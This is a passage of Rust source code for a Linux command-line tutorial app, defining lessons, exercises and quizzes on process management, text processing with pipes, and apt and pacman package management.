1358                step_number: 8,
1359                title: "Killing Processes Safely".to_string(),
1360                instruction: "".to_string(),
1361                hint: None,
1362                step_type: StepType::Information {
1363                    content: "The 'kill' command sends signals to processes.\n\nCommon signals:\n  kill PID          - SIGTERM (15) - Polite request to terminate\n  kill -9 PID       - SIGKILL (9) - Force kill (cannot be ignored)\n  kill -1 PID       - SIGHUP (1) - Hangup, often reloads config\n  kill -STOP PID    - Pause process\n  kill -CONT PID    - Resume paused process\n\nBest practice:\n  1. Try 'kill PID' first (gives process chance to cleanup)\n  2. Wait a few seconds\n  3. If still running, use 'kill -9 PID' (force kill)\n\nALTERNATIVES:\n  pkill firefox     - Kill by name (all matching processes)\n  killall firefox   - Same as pkill\n  kill -9 -1        - Kill all your processes (dangerous!)\n\nWarning: Only kill your own processes unless you're root!".to_string(),
1364                },
1365            },
1366            LessonStep {
1367                step_number: 9,
1368                title: "Quiz: Killing Processes".to_string(),
1369                instruction: "".to_string(),
1370                hint: None,
1371                step_type: StepType::MultipleChoice {
1372                    question: "A program is frozen. What's the safest way to kill it?".to_string(),
1373                    options: vec![
1374                        "Immediately use 'kill -9 PID'".to_string(),
1375                        "Try 'kill PID' first, then 'kill -9 PID' if it doesn't work".to_string(),
1376                        "Use 'pkill -9' to kill all processes with that name".to_string(),
1377                        "Restart the computer".to_string(),
1378                    ],
1379                    correct_index: 1,
1380                    explanation: "Correct! Always try the polite 'kill PID' (SIGTERM) first. This allows the program to:\n  • Save data\n  • Close files properly\n  • Clean up resources\n  • Shutdown gracefully\n\nOnly use 'kill -9' (SIGKILL) if the process doesn't respond to SIGTERM. SIGKILL cannot be caught or ignored - it's an immediate termination with no cleanup.".to_string(),
1381                },
1382            },
1383            LessonStep {
1384                step_number: 10,
1385                title: "Running Commands in Background".to_string(),
1386                instruction: "".to_string(),
1387                hint: None,
1388                step_type: StepType::Information {
1389                    content: "Background jobs let you multitask in the terminal!\n\nRunning in background:\n  command &             - Run command in background\n  sleep 60 &            - Example: sleep for 60 seconds in background\n\nManaging jobs:\n  jobs                  - List background jobs\n  fg                    - Bring last job to foreground\n  fg %1                 - Bring job 1 to foreground\n  bg                    - Resume paused job in background\n  Ctrl+Z                - Pause current foreground job\n  Ctrl+C                - Kill current foreground job\n\nPractical workflow:\n  1. Start: command &\n  2. Check: jobs\n  3. Bring to front: fg %1\n  4. Pause: Ctrl+Z\n  5. Resume in back: bg\n\nExample:\n  $ sleep 100 &\n  [1] 12345         ← Job 1, PID 12345\n  $ jobs\n  [1]+ Running     sleep 100 &".to_string(),
1390                },
1391            },
1392            LessonStep {
1393                step_number: 11,
1394                title: "Understanding Process Priority".to_string(),
1395                instruction: "".to_string(),
1396                hint: None,
1397                step_type: StepType::Information {
1398                    content: "Process Priority and 'nice' values:\n\nEvery process has a priority (niceness) from -20 to 19:\n  -20 = Highest priority (least nice, hogs CPU)\n   0  = Default priority\n  19  = Lowest priority (most nice, yields CPU)\n\nCommands:\n  nice -n 10 command    - Start with lower priority (+10)\n  nice -n -5 command    - Start with higher priority (needs root)\n  renice 15 -p PID      - Change running process priority\n  top, then 'r'         - Renice in top (enter PID, then value)\n\nWhen to use:\n  • Running intensive backups: nice -n 15 backup.sh\n  • Encoding video: nice -n 10 ffmpeg ...\n  • Critical real-time app: sudo nice -n -10 app\n\nHigher nice value = lower priority = more CPU for other tasks.\nIt's called 'nice' because you're being nice by using less CPU!".to_string(),
1399                },
1400            },
1401            LessonStep {
1402                step_number: 12,
1403                title: "Completion: Process Management Mastered!".to_string(),
1404                instruction: "".to_string(),
1405                hint: None,
1406                step_type: StepType::Information {
1407                    content: "Excellent! You can now manage processes like a pro!\n\nKey commands learned:\n  ps                List current processes\n  ps aux            List ALL processes with details\n  ps aux | grep X   Find specific process\n  top               Real-time process monitor (q to quit)\n  htop              Better top (if installed)\n\nKilling processes:\n  kill PID          Polite termination (SIGTERM)\n  kill -9 PID       Force kill (SIGKILL)\n  pkill name        Kill by process name\n  killall name      Kill all processes with name\n\nBackground jobs:\n  command &         Run in background\n  jobs              List background jobs\n  fg                Bring to foreground\n  bg                Resume in background\n  Ctrl+Z            Pause current job\n  Ctrl+C            Kill current job\n\nPriority:\n  nice -n N cmd     Start with priority\n  renice N -p PID   Change priority\n\nNext: Master text processing with pipes!".to_string(),
1408                },
1409            },
1410        ],
1411    }
1412}
1413
1414/// Create the "Text Processing" lesson
1415fn create_text_processing_lesson() -> Lesson {
1416    Lesson {
1417        id: "text-processing".to_string(),
1418        title: "Text Processing with Pipes".to_string(),
1419        description: "Master powerful text processing using grep, cut, sort, uniq, pipes, and basic sed/awk for data manipulation.".to_string(),
1420        difficulty: Difficulty::Intermediate,
1421        estimated_minutes: 20,
1422        prerequisites: vec!["file-viewing".to_string()],
1423        tags: vec!["intermediate".to_string(), "text".to_string(), "pipes".to_string()],
1424        setup: vec![
1425            SetupFile {
1426                path: "access.log".to_string(),
1427                contents: "192.168.1.10 - GET /index.html 200\n\
1428192.168.1.22 - GET /about.html 200\n\
1429192.168.1.10 - GET /docs 200\n\
143010.0.0.5 - POST /login 401 ERROR bad password\n\
1431192.168.1.10 - GET /blog 200\n\
1432192.168.1.22 - GET /missing 404 ERROR not found\n\
143310.0.0.5 - POST /login 200\n\
1434172.16.4.8 - GET /index.html 200\n\
1435192.168.1.10 - GET /contact 200\n\
1436172.16.4.8 - GET /broken 500 ERROR server fault\n\
1437192.168.1.22 - GET /index.html 200\n\
143810.0.0.5 - GET /profile 200\n".to_string(),
1439            },
1440            SetupFile {
1441                path: "fruits.txt".to_string(),
1442                contents: "banana\napple\ncherry\napple\nbanana\napple\ndate\ncherry\n".to_string(),
1443            },
1444            SetupFile {
1445                path: "scores.txt".to_string(),
1446                contents: "alice:87\nbob:62\ncarol:95\ndave:78\nerin:95\n".to_string(),
1447            },
1448        ],
1449        steps: vec![
1450            LessonStep {
1451                step_number: 1,
1452                title: "The Power of Text Processing".to_string(),
1453                instruction: "".to_string(),
1454                hint: None,
1455                step_type: StepType::Information {
1456                    content: "Welcome to Text Processing!\n\nLinux philosophy: Small, focused tools that do ONE thing well, combined through pipes.\n\nYou'll learn to:\n  • Chain commands with pipes (|)\n  • Filter text with grep patterns\n  • Extract columns with cut\n  • Sort and organize data\n  • Find unique entries with uniq\n  • Transform text with sed and awk\n\nThese tools turn the terminal into a data processing powerhouse!\n\nExample workflow:\n  cat access.log | grep ERROR | cut -d' ' -f1 | sort | uniq -c\n  ↑ read log → filter errors → extract IPs → sort → count unique\n\nLet's start simple and build up!".to_string(),
1457                },
1458            },
1459            LessonStep {
1460                step_number: 2,
1461                title: "Introduction to Pipes".to_string(),
1462                instruction: "Pipes (|) send output from one command as input to another. Try: ls -l | grep txt".to_string(),
1463                hint: Some("Type: ls -l | grep txt".to_string()),
1464                step_type: StepType::CommandExercise {
1465                    expected_command: "ls -l | grep txt".to_string(),
1466                    validation: CommandValidation::Exact,
1467                    success_message: "Perfect! The pipe takes 'ls -l' output and filters it through grep, showing only lines with 'txt'. Pipes are the foundation of text processing!".to_string(),
1468                },
1469            },
1470            LessonStep {
1471                step_number: 3,
1472                title: "Advanced grep Patterns".to_string(),
1473                instruction: "grep can use regular expressions. The -E flag enables extended regex. Try finding lines starting with numbers in /etc/services: grep -E '^[0-9]' /etc/services".to_string(),
1474                hint: Some("Type: grep -E '^[0-9]' /etc/services (^ means start of line, [0-9] means any digit)".to_string()),
1475                step_type: StepType::CommandExercise {
1476                    expected_command: "grep -E '^[0-9]' /etc/services".to_string(),
1477                    validation: CommandValidation::Exact,
1478                    success_message: "Great! Regular expressions are powerful:\n  ^ = start of line\n  $ = end of line\n  . = any character\n  * = zero or more\n  + = one or more\n  [0-9] = any digit\n  [a-z] = any lowercase letter".to_string(),
1479                },
1480            },
1481            LessonStep {
1482                step_number: 4,
1483                title: "Showing Line Numbers and Context".to_string(),
1484                instruction: "grep -n shows line numbers. Try: grep -n http /etc/services | head -5".to_string(),
1485                hint: Some("Type: grep -n http /etc/services | head -5".to_string()),
1486                step_type: StepType::CommandExercise {
1487                    expected_command: "grep -n http /etc/services | head -5".to_string(),
1488                    validation: CommandValidation::Exact,
1489                    success_message: "Excellent! The -n flag adds line numbers. Other useful grep flags:\n  -v (invert, show non-matching)\n  -c (count matches)\n  -l (list filenames only)\n  -A 3 (show 3 lines After match)\n  -B 3 (show 3 lines Before match)\n  -C 3 (show 3 lines of Context)".to_string(),
1490                },
1491            },
1492            LessonStep {
1493                step_number: 5,
1494                title: "Extracting Columns with cut".to_string(),
1495                instruction: "".to_string(),
1496                hint: None,
1497                step_type: StepType::Information {
1498                    content: "'cut' extracts specific columns from text.\n\nCommon uses:\n  cut -d':' -f1 /etc/passwd     Extract 1st field (usernames)\n  cut -d' ' -f1,3 file.txt      Extract fields 1 and 3\n  cut -c1-10 file.txt           Extract characters 1-10\n\nOptions:\n  -d 'delimiter'  - Field separator (default: tab)\n  -f fields       - Which field(s) to extract (1,2,3 or 1-5)\n  -c chars        - Character positions\n\nExample with /etc/passwd:\n  cat /etc/passwd | cut -d':' -f1,3\n  Shows username (field 1) and user ID (field 3)\n\nGreat for:\n  • CSV files (cut -d',')\n  • Log files (cut -d' ')\n  • Configuration files\n  • Tab-separated data".to_string(),
1499                },
1500            },
1501            LessonStep {
1502                step_number: 6,
1503                title: "Practice: Extract Usernames".to_string(),
1504                instruction: "Extract just the usernames (first field) from /etc/passwd. Use cut with colon delimiter: cut -d':' -f1 /etc/passwd".to_string(),
1505                hint: Some("Type: cut -d':' -f1 /etc/passwd".to_string()),
1506                step_type: StepType::CommandExercise {
1507                    expected_command: "cut -d':' -f1 /etc/passwd".to_string(),
1508                    validation: CommandValidation::Exact,
1509                    success_message: "Perfect! You've extracted all usernames. The /etc/passwd file uses colons as delimiters, and field 1 is the username. This is how you parse structured text files!".to_string(),
1510                },
1511            },
1512            LessonStep {
1513                step_number: 7,
1514                title: "Sorting Text with sort".to_string(),
1515                instruction: "The 'sort' command organizes lines alphabetically. Try sorting usernames: cut -d':' -f1 /etc/passwd | sort".to_string(),
1516                hint: Some("Type: cut -d':' -f1 /etc/passwd | sort".to_string()),
1517                step_type: StepType::CommandExercise {
1518                    expected_command: "cut -d':' -f1 /etc/passwd | sort".to_string(),
1519                    validation: CommandValidation::Exact,
1520                    success_message: "Excellent! sort arranges lines alphabetically. Useful flags:\n  -r (reverse order)\n  -n (numeric sort)\n  -k 2 (sort by column 2)\n  -u (unique, remove duplicates)\n  -t ':' (use : as delimiter)".to_string(),
1521                },
1522            },
1523            LessonStep {
1524                step_number: 8,
1525                title: "Quiz: Understanding Pipes".to_string(),
1526                instruction: "".to_string(),
1527                hint: None,
1528                step_type: StepType::MultipleChoice {
1529                    question: "What does this command do: ps aux | grep python | wc -l".to_string(),
1530                    options: vec![
1531                        "Counts how many Python programs are installed".to_string(),
1532                        "Counts lines in Python scripts".to_string(),
1533                        "Counts how many running processes have 'python' in their name".to_string(),
1534                        "Shows Python version".to_string(),
1535                    ],
1536                    correct_index: 2,
1537                    explanation: "Correct! Let's break it down:\n  1. ps aux - List all processes\n  2. | grep python - Filter for lines containing 'python'\n  3. | wc -l - Count the lines (wc -l counts lines)\n\nSo it counts how many processes contain 'python' in their command/name. This is how you combine simple tools for complex tasks!".to_string(),
1538                },
1539            },
1540            LessonStep {
1541                step_number: 9,
1542                title: "Finding Unique Entries with uniq".to_string(),
1543                instruction: "".to_string(),
1544                hint: None,
1545                step_type: StepType::Information {
1546                    content: "'uniq' removes duplicate adjacent lines.\n\nIMPORTANT: Lines must be sorted first!\n\nCommon usage:\n  sort file.txt | uniq           Remove duplicates\n  sort file.txt | uniq -c        Count occurrences\n  sort file.txt | uniq -d        Show only duplicates\n  sort file.txt | uniq -u        Show only unique lines\n\nReal-world example:\n  cat access.log | cut -d' ' -f1 | sort | uniq -c | sort -rn\n  ↑ Get IPs from log → sort → count each → sort by frequency\n\nWhy sort first?\n  uniq only detects consecutive duplicates!\n  Without sort: a,b,a,a,b → a,b,a,b (only middle duplicates removed)\n  With sort:    a,a,a,b,b → a,b (all duplicates removed)\n\nPro tip: 'sort -u' combines sort + uniq in one command!".to_string(),
1547                },
1548            },
1549            LessonStep {
1550                step_number: 10,
1551                title: "Counting with wc".to_string(),
1552                instruction: "".to_string(),
1553                hint: None,
1554                step_type: StepType::Information {
1555                    content: "'wc' (word count) counts lines, words, and characters.\n\nUsage:\n  wc file.txt              Show lines, words, bytes\n  wc -l file.txt           Count lines only\n  wc -w file.txt           Count words only\n  wc -c file.txt           Count bytes/characters\n\nWith pipes:\n  ls | wc -l               Count files in directory\n  ps aux | wc -l           Count running processes\n  grep ERROR log | wc -l   Count errors in log\n  cat file | wc -w         Count words in file\n\nExample:\n  $ wc /etc/passwd\n    45   72  2594 /etc/passwd\n    ↑    ↑   ↑\n    lines words bytes\n\nQuick counts:\n  • How many users? → wc -l /etc/passwd\n  • How many files? → ls | wc -l\n  • How many errors? → grep ERROR log.txt | wc -l".to_string(),
1556                },
1557            },
1558            LessonStep {
1559                step_number: 11,
1560                title: "Introduction to sed".to_string(),
1561                instruction: "".to_string(),
1562                hint: None,
1563                step_type: StepType::Information {
1564                    content: "'sed' (stream editor) transforms text.\n\nBasic find-and-replace:\n  sed 's/old/new/' file.txt       Replace first occurrence per line\n  sed 's/old/new/g' file.txt      Replace all occurrences (global)\n  sed 's/old/new/gi' file.txt     Case-insensitive replacement\n\nDeleting lines:\n  sed '/pattern/d' file.txt       Delete lines matching pattern\n  sed '5d' file.txt               Delete line 5\n  sed '1,10d' file.txt            Delete lines 1-10\n\nPrinting specific lines:\n  sed -n '5p' file.txt            Print only line 5\n  sed -n '10,20p' file.txt        Print lines 10-20\n  sed -n '/ERROR/p' file.txt      Print lines with ERROR (like grep)\n\nReal examples:\n  sed 's/http/https/g' urls.txt   Change http to https\n  sed '/^$/d' file.txt            Remove empty lines\n  sed 's/  */ /g' file.txt        Replace multiple spaces with one\n\nNote: sed doesn't modify the file, just outputs transformed text.\nTo save: sed 's/old/new/g' file.txt > newfile.txt".to_string(),
1565                },
1566            },
1567            LessonStep {
1568                step_number: 12,
1569                title: "Introduction to awk".to_string(),
1570                instruction: "".to_string(),
1571                hint: None,
1572                step_type: StepType::Information {
1573                    content: "'awk' is a powerful text processing language.\n\nBasic syntax:\n  awk '{print $1}' file.txt       Print first field\n  awk '{print $1,$3}' file.txt    Print fields 1 and 3\n  awk '{print $NF}' file.txt      Print last field\n\nWith delimiters:\n  awk -F':' '{print $1}' /etc/passwd    Use : as delimiter\n  awk -F',' '{print $2}' data.csv       Use , for CSV\n\nFiltering:\n  awk '$3 > 100' file.txt         Print lines where field 3 > 100\n  awk '/ERROR/' file.txt          Print lines matching ERROR\n  awk '$1 == \"root\"' /etc/passwd  Print if field 1 equals root\n\nUseful built-ins:\n  $0  = entire line\n  $1  = first field\n  $NF = last field\n  NR  = line number\n  NF  = number of fields\n\nReal examples:\n  ps aux | awk '{print $1,$2,$11}'       User, PID, command\n  awk '{sum+=$1} END {print sum}' nums   Sum first column\n  awk 'length > 80' file.txt             Lines longer than 80 chars".to_string(),
1574                },
1575            },
1576            LessonStep {
1577                step_number: 13,
1578                title: "Practice: Complex Pipeline".to_string(),
1579                instruction: "".to_string(),
1580                hint: None,
1581                step_type: StepType::Information {
1582                    content: "Let's build a complex pipeline step by step!\n\nTask: Find the 5 most common shells used by system users.\n\nPipeline:\n  cut -d':' -f7 /etc/passwd | sort | uniq -c | sort -rn | head -5\n\nBreaking it down:\n  1. cut -d':' -f7 /etc/passwd\n     Extract field 7 (login shell) from passwd\n\n  2. | sort\n     Sort shells alphabetically (required for uniq)\n\n  3. | uniq -c\n     Count occurrences of each unique shell\n\n  4. | sort -rn\n     Sort numerically (-n) in reverse (-r) order\n     (most common first)\n\n  5. | head -5\n     Show only top 5 results\n\nThis is the power of pipes! Small tools combined for complex analysis.\n\nTry modifying it:\n  • Top 10 instead of 5? Change head -5 to head -10\n  • Least common? Remove -r from sort\n  • Show all? Remove | head -5".to_string(),
1583                },
1584            },
1585            LessonStep {
1586                step_number: 14,
1587                title: "Quiz: Text Processing Mastery".to_string(),
1588                instruction: "".to_string(),
1589                hint: None,
1590                step_type: StepType::MultipleChoice {
1591                    question: "Which command extracts unique IP addresses from an access log and counts them?".to_string(),
1592                    options: vec![
1593                        "cat access.log | grep -E '[0-9]+' | uniq".to_string(),
1594                        "cut -d' ' -f1 access.log | sort | uniq -c".to_string(),
1595                        "awk '{print $1}' access.log | count".to_string(),
1596                        "sed 's/.*([0-9.]+).*/\\1/' access.log".to_string(),
1597                    ],
1598                    correct_index: 1,
1599                    explanation: "Correct! Breaking it down:\n  • cut -d' ' -f1 - Extract first field (IP address, space-delimited)\n  • sort - Sort IPs (required for uniq)\n  • uniq -c - Count unique occurrences\n\nAlternative with awk:\n  awk '{print $1}' access.log | sort | uniq -c\n\nWhy not the others?\n  • Option 1: No sort before uniq, won't work properly\n  • Option 3: No 'count' command exists\n  • Option 4: sed regex is overly complex and incomplete".to_string(),
1600                },
1601            },
1602            LessonStep {
1603                step_number: 15,
1604                title: "Completion: Text Processing Mastered!".to_string(),
1605                instruction: "".to_string(),
1606                hint: None,
1607                step_type: StepType::Information {
1608                    content: "Outstanding! You're now a text processing expert!\n\nKey commands:\n  grep pattern file          Search/filter text\n  grep -E '^[0-9]'          Extended regex\n  cut -d':' -f1 file        Extract columns\n  sort file                 Sort lines\n  sort -rn                  Reverse numeric sort\n  uniq                      Remove duplicates (needs sorted input)\n  uniq -c                   Count occurrences\n  wc -l                     Count lines\n  sed 's/old/new/g'         Find and replace\n  awk '{print $1}' file     Print first field\n\nPipe patterns:\n  cmd1 | cmd2 | cmd3        Chain commands\n  sort | uniq               Remove duplicates\n  sort | uniq -c            Count unique entries\n  grep pattern | wc -l      Count matches\n  cut | sort | uniq         Extract and deduplicate\n\nPro tips:\n  • Always sort before uniq\n  • Use -n with sort for numbers\n  • Combine awk/cut with pipes for complex parsing\n  • Test each pipe stage separately\n\nNext: Learn package management!".to_string(),
1609                },
1610            },
1611        ],
1612    }
1613}
1614
1615/// Create the "Package Management" lesson
1616fn create_package_management_lesson() -> Lesson {
1617    Lesson {
1618        id: "package-mgmt".to_string(),
1619        title: "Package Management".to_string(),
1620        description: "Learn to install, update, and manage software packages using apt (Debian/Ubuntu) and pacman (Arch).".to_string(),
1621        difficulty: Difficulty::Beginner,
1622        estimated_minutes: 12,
1623        prerequisites: vec!["nav-basics".to_string()],
1624        tags: vec!["beginner".to_string(), "packages".to_string(), "system".to_string()],
1625        setup: vec![],
1626        steps: vec![
1627            LessonStep {
1628                step_number: 1,
1629                title: "What is Package Management?".to_string(),
1630                instruction: "".to_string(),
1631                hint: None,
1632                step_type: StepType::Information {
1633                    content: "Welcome to Package Management!\n\nA 'package' is software bundled with:\n  • The program itself\n  • Dependencies (other software it needs)\n  • Configuration files\n  • Documentation\n  • Install/uninstall scripts\n\nPackage managers handle:\n  ✓ Installing software\n  ✓ Updating software\n  ✓ Removing software\n  ✓ Dependency resolution\n  ✓ Security updates\n\nCommon package managers:\n  • apt/apt-get (Debian, Ubuntu, Linux Mint)\n  • dnf/yum (Fedora, RHEL, CentOS)\n  • pacman (Arch, Manjaro)\n  • zypper (openSUSE)\n\nWe'll cover apt (most common) and pacman (fastest growing).\n\nNo more downloading .exe files from random websites!".to_string(),
1634                },
1635            },
1636            LessonStep {
1637                step_number: 2,
1638                title: "apt Basics - Updating Package Lists".to_string(),
1639                instruction: "".to_string(),
1640                hint: None,
1641                step_type: StepType::Information {
1642                    content: "First rule of apt: Always update package lists first!\n\nCommand:\n  sudo apt update\n\nWhat it does:\n  • Downloads latest package information from repositories\n  • Checks which packages have updates available\n  • Does NOT install anything yet\n  • Should be run before installing or upgrading\n\nThink of it like:\n  • apt update = Check what's available in the store\n  • apt upgrade = Actually buy the new versions\n\nWhy sudo?\n  Package management affects the whole system, so it requires\n  administrator (root) privileges. 'sudo' gives you temporary\n  admin access.\n\nBest practice:\n  Run 'sudo apt update' daily or before installing anything.".to_string(),
1643                },
1644            },
1645            LessonStep {
1646                step_number: 3,
1647                title: "Quiz: Understanding apt update".to_string(),
1648                instruction: "".to_string(),
1649                hint: None,
1650                step_type: StepType::MultipleChoice {
1651                    question: "What does 'sudo apt update' do?".to_string(),
1652                    options: vec![
1653                        "Installs all available updates immediately".to_string(),
1654                        "Downloads the list of available packages and updates".to_string(),
1655                        "Removes old packages".to_string(),
1656                        "Reboots the system".to_string(),
1657                    ],
1658                    correct_index: 1,
1659                    explanation: "Correct! 'apt update' refreshes your package database - it downloads information about what packages are available and which versions are current. It does NOT install anything. Think of it as 'checking the menu' before ordering food. To actually install updates, you'd use 'apt upgrade'.".to_string(),
1660                },
1661            },
1662            LessonStep {
1663                step_number: 4,
1664                title: "Upgrading Installed Packages".to_string(),
1665                instruction: "".to_string(),
1666                hint: None,
1667                step_type: StepType::Information {
1668                    content: "Keeping software updated is crucial for security!\n\nCommand:\n  sudo apt upgrade\n\nWhat it does:\n  • Upgrades all installed packages to latest versions\n  • Shows what will be upgraded before proceeding\n  • Asks for confirmation (y/n)\n  • Keeps your system secure and stable\n\nSafe upgrade workflow:\n  1. sudo apt update      (refresh package lists)\n  2. sudo apt upgrade     (install updates)\n\nFull upgrade (more aggressive):\n  sudo apt full-upgrade\n  • Upgrades packages even if it means removing some\n  • Use carefully, read what it plans to do!\n\nAutomatic yes:\n  sudo apt upgrade -y\n  • Automatically answers 'yes' to prompts\n  • Convenient for scripts\n  • Use carefully!".to_string(),
1669                },
1670            },
1671            LessonStep {
1672                step_number: 5,
1673                title: "Installing Packages".to_string(),
1674                instruction: "".to_string(),
1675                hint: None,
1676                step_type: StepType::Information {
1677                    content: "Installing software is simple with apt!\n\nCommand:\n  sudo apt install package-name\n\nExamples:\n  sudo apt install htop         # Better process viewer\n  sudo apt install curl         # Download tool\n  sudo apt install git          # Version control\n  sudo apt install neofetch     # System info display\n\nMultiple packages at once:\n  sudo apt install vim git curl htop\n\nWhat happens:\n  1. apt checks dependencies\n  2. Shows what will be installed\n  3. Asks for confirmation\n  4. Downloads packages\n  5. Installs everything\n  6. Runs post-install scripts\n\nTips:\n  • Read the confirmation message!\n  • Check disk space requirements\n  • Package names are case-sensitive\n  • Most packages have documentation in /usr/share/doc/".to_string(),
1678                },
1679            },
1680            LessonStep {
1681                step_number: 6,
1682                title: "Searching for Packages".to_string(),
1683                instruction: "".to_string(),
1684                hint: None,
1685                step_type: StepType::Information {
1686                    content: "How to find packages:\n\nSearch by name/description:\n  apt search keyword\n  apt search python | grep ^python3   # Filter results\n\nShow package details:\n  apt show package-name\n  • Shows description, version, size, dependencies\n  • Shows if it's installed\n  • Shows homepage and maintainer\n\nList installed packages:\n  apt list --installed\n  apt list --installed | grep python\n\nCheck if package is installed:\n  apt list --installed package-name\n  dpkg -l | grep package-name\n\nFind which package provides a file:\n  apt-file search /path/to/file\n  (requires: sudo apt install apt-file)\n\nExample workflow:\n  1. apt search \"video editor\"\n  2. apt show kdenlive\n  3. sudo apt install kdenlive".to_string(),
1687                },
1688            },
1689            LessonStep {
1690                step_number: 7,
1691                title: "Removing Packages".to_string(),
1692                instruction: "".to_string(),
1693                hint: None,
1694                step_type: StepType::Information {
1695                    content: "Uninstalling software cleanly:\n\nRemove package (keep config files):\n  sudo apt remove package-name\n  • Removes the program\n  • Keeps configuration in /etc/ and ~/\n  • Useful if you might reinstall later\n\nComplete removal (including configs):\n  sudo apt purge package-name\n  • Removes everything\n  • Clean slate\n  • Use when you're sure you won't reinstall\n\nRemove orphaned dependencies:\n  sudo apt autoremove\n  • Removes packages that were dependencies\n  • But are no longer needed\n  • Safe to run regularly\n\nClean package cache:\n  sudo apt clean         # Remove all cached .deb files\n  sudo apt autoclean     # Remove only outdated cache\n\nFull cleanup workflow:\n  sudo apt remove package-name\n  sudo apt autoremove\n  sudo apt clean".to_string(),
1696                },
1697            },
1698            LessonStep {
1699                step_number: 8,
1700                title: "Quiz: Package Removal".to_string(),
1701                instruction: "".to_string(),
1702                hint: None,
1703                step_type: StepType::MultipleChoice {
1704                    question: "What's the difference between 'apt remove' and 'apt purge'?".to_string(),
1705                    options: vec![
1706                        "They do exactly the same thing".to_string(),
1707                        "remove keeps config files, purge removes everything".to_string(),
1708                        "purge is faster than remove".to_string(),
1709                        "remove requires sudo, purge doesn't".to_string(),
1710                    ],
1711                    correct_index: 1,
1712                    explanation: "Correct! 'apt remove' uninstalls the package but keeps configuration files (useful if you might reinstall). 'apt purge' removes EVERYTHING including configs. Example: If you remove then reinstall a database, 'remove' would keep your database config. 'purge' would give you a completely fresh start. Both require sudo.".to_string(),
1713                },
1714            },
1715            LessonStep {
1716                step_number: 9,
1717                title: "Introduction to pacman (Arch Linux)".to_string(),
1718                instruction: "".to_string(),
1719                hint: None,
1720                step_type: StepType::Information {
1721                    content: "pacman is the package manager for Arch Linux.\n\nBasic commands:\n  sudo pacman -Syu              Update system\n  sudo pacman -S package        Install package\n  sudo pacman -R package        Remove package\n  sudo pacman -Rns package      Remove package + dependencies\n  sudo pacman -Ss keyword       Search for packages\n  sudo pacman -Qi package       Package info (installed)\n  sudo pacman -Si package       Package info (repository)\n  sudo pacman -Qe               List explicitly installed\n  sudo pacman -Sc               Clean package cache\n\nFlag meanings:\n  -S = Sync (install/update from repos)\n  -R = Remove\n  -Q = Query (search installed)\n  -s = search\n  -y = refresh package database\n  -u = upgrade\n  -n = remove package-specific config\n  -s = remove unneeded dependencies\n\nCommon combinations:\n  -Syu = Sync database + upgrade all\n  -Ss = Sync search\n  -Rns = Remove + unneeded deps + configs".to_string(),
1722                },
1723            },
1724            LessonStep {
1725                step_number: 10,
1726                title: "apt vs pacman Comparison".to_string(),
1727                instruction: "".to_string(),
1728                hint: None,
1729                step_type: StepType::Information {
1730                    content: "Quick reference: apt vs pacman\n\nUpdate package lists:\n  apt: sudo apt update\n  pacman: sudo pacman -Sy\n\nUpgrade all packages:\n  apt: sudo apt upgrade\n  pacman: sudo pacman -Syu\n\nInstall package:\n  apt: sudo apt install pkg\n  pacman: sudo pacman -S pkg\n\nRemove package:\n  apt: sudo apt remove pkg\n  pacman: sudo pacman -R pkg\n\nRemove package + deps:\n  apt: sudo apt autoremove pkg\n  pacman: sudo pacman -Rns pkg\n\nSearch packages:\n  apt: apt search keyword\n  pacman: pacman -Ss keyword\n\nShow package info:\n  apt: apt show pkg\n  pacman: pacman -Si pkg\n\nList installed:\n  apt: apt list --installed\n  pacman: pacman -Qe\n\nClean cache:\n  apt: sudo apt clean\n  pacman: sudo pacman -Sc".to_string(),
1731                },
1732            },
1733            LessonStep {
1734                step_number: 11,
1735                title: "Package Management Best Practices".to_string(),
1736                instruction: "".to_string(),
1737                hint: None,
1738                step_type: StepType::Information {
1739                    content: "Golden rules for package management:\n\n1. Update regularly:\n   sudo apt update && sudo apt upgrade\n   Do this weekly or before installing new software\n\n2. Read before confirming:\n   Check what will be installed/removed!\n   Especially important for 'full-upgrade' or 'autoremove'\n\n3. Don't mix package managers:\n   Use ONE primary package manager\n   Don't mix apt with snap, or pip system-wide packages\n   Use virtual environments for Python/Node packages\n\n4. Be careful with PPAs (apt) or AUR (Arch):\n   Third-party repositories can be unsafe\n   Only add trusted sources\n\n5. Keep backups:\n   Before major upgrades, backup important data\n   Upgrades rarely break things, but be prepared\n\n6. Clean up regularly:\n   sudo apt autoremove && sudo apt clean\n   Removes orphaned packages and cached files\n\n7. Check logs if something fails:\n   /var/log/apt/history.log (apt)\n   /var/log/pacman.log (pacman)".to_string(),
1740                },
1741            },
1742            LessonStep {
1743                step_number: 12,
1744                title: "Completion: Package Management Mastered!".to_string(),
1745                instruction: "".to_string(),
1746                hint: None,
1747                step_type: StepType::Information {
1748                    content: "Great job! You can now manage software like a pro!\n\napt (Debian/Ubuntu) commands:\n  sudo apt update              Refresh package lists\n  sudo apt upgrade             Install updates\n  sudo apt install pkg         Install package\n  sudo apt remove pkg          Uninstall package\n  sudo apt purge pkg           Uninstall + remove configs\n  sudo apt autoremove          Remove orphaned dependencies\n  sudo apt search keyword      Find packages\n  apt show pkg                 Package details\n  apt list --installed         List installed packages\n\npacman (Arch) commands:\n  sudo pacman -Syu             Update system\n  sudo pacman -S pkg           Install package\n  sudo pacman -R pkg           Remove package\n  sudo pacman -Rns pkg         Remove + dependencies + configs\n  sudo pacman -Ss keyword      Search packages\n  pacman -Qi pkg               Package info\n\nBest practices:\n  ✓ Update before installing\n  ✓ Read confirmation prompts\n  ✓ Clean up regularly\n  ✓ Use one package manager\n  ✓ Keep backups\n\nNext: Learn networking basics!".to_string(),
1749                },
1750            },
1751        ],
1752    }
1753}
1754
1755/// Create the "Network Basics" lesson
1756fn create_network_basics_lesson() -> Lesson {
1757    Lesson {
1758        id: "network-basics".to_string(),
1759        title: "Network Basics".to_string(),
1760        description: "Learn essential networking commands: ping for connectivity testing, curl and wget for downloads, and basic ssh usage.".to_string(),
1761        difficulty: Difficulty::Beginner,
1762        estimated_minutes: 12,
1763        prerequisites: vec!["nav-basics".to_string()],
1764        tags: vec!["beginner".to_string(), "network".to_string(), "internet".to_string()],
1765        setup: vec![],
1766        steps: vec![
1767            LessonStep {
1768                step_number: 1,
1769                title: "Introduction to Network Commands".to_string(),
1770                instruction: "".to_string(),
1771                hint: None,
1772                step_type: StepType::Information {
